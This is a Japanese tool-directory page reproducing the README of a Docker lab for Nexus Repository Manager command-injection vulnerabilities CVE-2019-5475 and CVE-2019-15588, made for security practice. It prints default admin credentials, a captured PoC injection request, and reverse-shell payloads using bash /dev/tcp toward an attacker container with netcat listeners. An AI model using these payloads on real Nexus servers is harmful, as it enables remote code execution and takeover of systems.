Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/exp-docs/cve-2019-5475
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubexp-docs/cve-2019-5475

CVE-2019-5475

CVE-2019-5475 ラボ: RCE コマンドインジェクション脆弱性

リポジトリを見る
533年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-5475

CVE-2019-5475 と CVE-2019-15588 の演習環境: RCE コマンドインジェクション脆弱性


0x00 背景

CVE-2019-5475 は、Nexus の組み込みプラグイン Yum Repository に関する RCE コマンドインジェクション脆弱性です。最初に hackerone で公開されましたが、公式の最初の修正が不完全だったため、CVE-2019-15588 が派生しました。

これらの脆弱性は、admin としてログインした後にのみ悪用可能ですが、Nexus のデフォルト管理者パスワード admin123 はよく変更されずに放置され、簡単に悪用されてしまいます。

0x10 演習環境

0x20 ディレクトリ構造

root@kitploit:~
CVE-2019-5475
├── nexus-yum-core .......... [デバッグ用 Maven プロジェクト:Nexus GUI で createrepo または mergerepo を入力する動作をシミュレート]
├── nexus ................... [Nexus コンテナのデータマウントディレクトリ]
├── attacker ................ [攻撃マシンのビルドディレクトリ]
│   └── Dockerfile .......... [攻撃マシンの Docker ビルドファイル]
├── docker-compose.yml ...... [Docker ビルド設定]
├── imgs .................... [README 説明補助の画像]
└── README.md ............... [この README 説明]

0x40 演習環境の構築

  • ホストマシンに docker と docker-compose を事前インストール
  • このリポジトリをダウンロード: git clone https://github.com/lyy289065406/CVE-2019-5475
  • Nexus ビルドディレクトリを開く: cd CVE-2019-5475
  • Nexus をビルドして起動: docker-compose up -d
  • 約5分後、ブラウザから Nexus にアクセス可能(BasicAuth は admin/admin123)。以下を参照:
NexusCVEURL
2.14.9CVE-2019-5475http://127.0.0.1:8009/nexus
2.14.14CVE-2019-15588http://127.0.0.1:8014/nexus

この演習環境には攻撃マシン 172.168.50.2 も構築されており、2台のターゲットマシンと同じネットワーク環境にあります。リバースシェルの確認に使用します。

0x50 【CVE-2019-5475】演習環境の確認

0x51 PoC

admin で http://127.0.0.1:8009/nexus/#capabilities にログインし、Administration -> Capabilities -> Yum: Configuration -> Settings で RCE インジェクションポイントを見つけます。

入力フィールド Path of "createrepo" と Path of "mergerepo" の両方でインジェクションが可能で、結果は Status から確認できます。

例えば、createrepo インジェクションポイントに PoC bash -c id || python を入力すると、Status からコマンド bash -c id の実行結果 uid=200(nexus) gid=200(nexus) groups=200(nexus) が得られます。

BurpSuite を使用すると、対応する PoC リクエストをキャプチャできます:

root@kitploit:~
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x52 EXP

このインジェクションポイントは、リバースシェルを構築するために簡単に悪用できます:

  • 攻撃マシンにログイン: docker exec -it -u root docker_attacker /bin/bash
  • netcat でリバースを待ち受け: nc -lvvp 4444
  • 上記 createrepo インジェクションポイントにペイロードを入力: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

0x60 【CVE-2019-15588】演習環境の確認

0x61 PoC

インジェクション位置は CVE-2019-5475 と同じです。PoC を次のように変更: /bin/bash -c id || /createrepo

0x62 EXP

この脆弱性も同じ方法でリバースシェルを取得できます:

  • 攻撃マシンにログイン: docker exec -it -u root docker_attacker /bin/bash
  • netcat でリバースを待ち受け: nc -lvvp 4444
  • createrepo インジェクションポイントにペイロードを入力: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x70 脆弱性の修正

  • CVE-2019-5475 向け: 公式の最初の修正パッチ
  • CVE-2019-15588 向け: 公式の二度目の修正パッチ

0x80 nexus-yum-core について

nexus-yum-core は、この脆弱性の悪用に関する Nexus のコアコードスニペットです。主に、Nexus サービス全体をソースから構築することなく、バックエンドから直接デバッグして入力されたペイロードを解析するために使用します。

0x90 参考資料

  • https://paper.seebug.org/1260/
  • https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
ツールをダウンロード